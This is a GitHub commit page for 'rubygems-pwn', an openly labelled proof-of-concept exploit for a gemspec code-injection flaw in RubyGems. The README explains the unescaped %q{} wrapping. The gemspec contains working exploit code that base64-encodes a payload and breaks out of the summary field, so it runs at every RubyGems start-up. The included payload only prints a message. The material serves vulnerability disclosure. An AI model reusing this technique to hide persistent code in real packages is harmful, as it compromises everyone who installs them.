Permalink
Browse files

Initial commit.

  • Loading branch information...
0 parents commit c933bb201cade2ecede059dfa6b73bafaed15026 @postmodern postmodern committed Aug 24, 2011
Showing with 109 additions and 0 deletions.
  1. +3 −0 .gitignore
  2. +68 −0 README.rdoc
  3. +5 −0 lib/rubygems-pwn/payload.rb
  4. +33 −0 rubygems-pwn.gemspec
@@ -0,0 +1,3 @@
+*.gem
+pkg/
+doc/
@@ -0,0 +1,68 @@
+= RubyGems PWN
+
+<b>All versions of RubyGems are vulnerable to Persistent Code Injection via
+the gemspecs, which RubyGems generates when installing a Gem.</b>
+
+== Explanation
+
+When building a +.gem+ file, RubyGems will load your pure-Ruby gemspec
+and +YAML.dump+ the gemspec object. The YAML-dump gemspec is then
+compressed and included into the +.gem+ file. Upon installing a Gem,
+RubyGems will extract the YAML-dumped gemspec, +YAML.load+ the gemspec
+and then build a new pure-Ruby representation of the attributes within
+<tt>Gem::Specification</tt>. RubyGems installs this re-generated pure-Ruby
+gemspec into the +specifications/+ directory within the +GEM_HOME+.
+
+The rational for dumping the gemspec to YAML, then building another Ruby
+gemspec file from the dumped YAML, is that <tt>eval()</tt>ing Ruby is
+faster than calling +YAML.load+. Since RubyGems loads <i>every</i> gemspec
+at start-up, being fast matters.
+
+RubyGems builds this pure-Ruby gemspec using the to_ruby[https://github.com/rubygems/rubygems/blob/2ff3142c9a477ac2dbf0a5a2ff0f837b7fcc97e9/lib/rubygems/specification.rb#L2049-2124] method. +to_ruby+ merely
+concatenates Ruby code into a big String, and embeds the data from the
+<tt>Gem::Specification</tt>. +to_ruby+ relies on the
+ruby_code[https://github.com/rubygems/rubygems/blob/2ff3142c9a477ac2dbf0a5a2ff0f837b7fcc97e9/lib/rubygems/specification.rb#L1915-1931] method,
+for wrap the gemspec data, so that they can be safely embedded into
+Ruby code.
+
+Unfortunately, the +ruby_code+ method naively wraps Strings in
+<tt>%q{</tt> and <tt>}</tt>, and performs no character-escaping.
+Security connoisseurs will immediately recognize this mistake
+as the same one which makes SQL Injection possible.
+
+To exploit this bug, one simply needs to place a <tt>};</tt> in a
+<tt>Gem::Specification</tt> field (+summary+ is a good hiding spot)
+to escape the <tt>%q{</tt>, then add the malicious Ruby code, and ignore
+the trailing <tt>}</tt> with a <tt>#</tt> comment.
+
+ s.summary = "A Ruby API for TF2. }; puts "Geeeeentlemen" #"
+
+== Impact
+
+As far as I can tell, the +ruby_code+ method was introduced around RubyGems
+0.8.0. All previous versions of RubyGems also appear to be vulnerable, since
+they directly inline the <tt>Gem::Specification</tt> attributes in
++to_ruby+:
+
+ def to_ruby
+ mark_version
+ result = "Gem::Specification.new do |s|\n"
+ result << "s.name = %q{#{name}}\n"
+ result << "s.version = %q{#{version}}\n"
+ result << "s.platform = %q{#{platform}}\n" if @platform
+ result << "s.has_rdoc = #{has_rdoc?}\n" if has_rdoc?
+ result << "s.summary = %q{#{summary}}\n"
+
+* <tt>Gem::Specification#to_ruby</tt> method from RubyGems
+ 0.2.0[http://rubyforge.org/frs/download.php/414/rubygems-0.2.0.tar.gz].
+
+Of course, there is some user-interaction required, a user must be enticed
+into installing a new Gem. Once installed, the injected code is persistent
+since RubyGems will load all gemspecs during start-up. The injected code
+will also survive <tt>gem pristine</tt>, which re-generates all installed
+gemspecs.
+
+== Proof Of Concept (PoC)
+
+ gem install rubygems-pwn
+
@@ -0,0 +1,5 @@
+say_puts = lambda { |m| puts("\a#{m}"); system('say',m) }
+say_puts["Geeeentle-men"]
+say_puts["All versions of Ruby-Gems are vulnerable"]
+say_puts["to persistent code injection"]
+say_puts["via the gem specs that are re-generated when you install a Gem"]
@@ -0,0 +1,33 @@
+# -*- encoding: utf-8 -*-
+
+require 'base64'
+
+Gem::Specification.new do |s|
+ s.name = "rubygems-pwn"
+ s.version = "0.1.0"
+ s.authors = ["Postmodern"]
+ s.email = ["postmodern.mod3@gmail.com"]
+ s.homepage = "http://github.com/sophsec/rubygems-pwn"
+
+ # load the payload
+ payload = File.read(File.join(File.dirname(__FILE__),'lib','rubygems-pwn','payload.rb'))
+
+ embed_code = lambda { |code|
+ # base64 encode our payload, to hide any special characters
+ "require('base64');eval(Base64.decode64(#{Base64.encode64(code).inspect}))"
+ }
+ escape_code = lambda { |code|
+ # escape RubyGems Gem::Specification#ruby_code escaping logic which
+ # simple wraps Strings in "%q{" and "}".
+ "}; #{code} #"
+ }
+
+ s.description = %q{A Proof of Concept (PoC) exploit for an trivial Security vulnerability in how RubyGems converts YAML-dumped gemspecs, back into Ruby code, when installing RubyGems. This ties into the larger design mistake, of storing installed gemspecs as Ruby code; since evaling Ruby code was faster than loading YAML gemspecs. When handling data, it is safer to store it in a static format (YAML, XML, CSV), instead of executable code.}
+
+ # grab the first sentence of the description, and append our escaped code
+ s.summary = s.description.match(/^[^\.]+/)[0] +
+ escape_code[embed_code[payload]]
+
+ s.files = ['README.rdoc']
+ s.require_paths = ["lib"]
+end

0 comments on commit c933bb2

Please sign in to comment.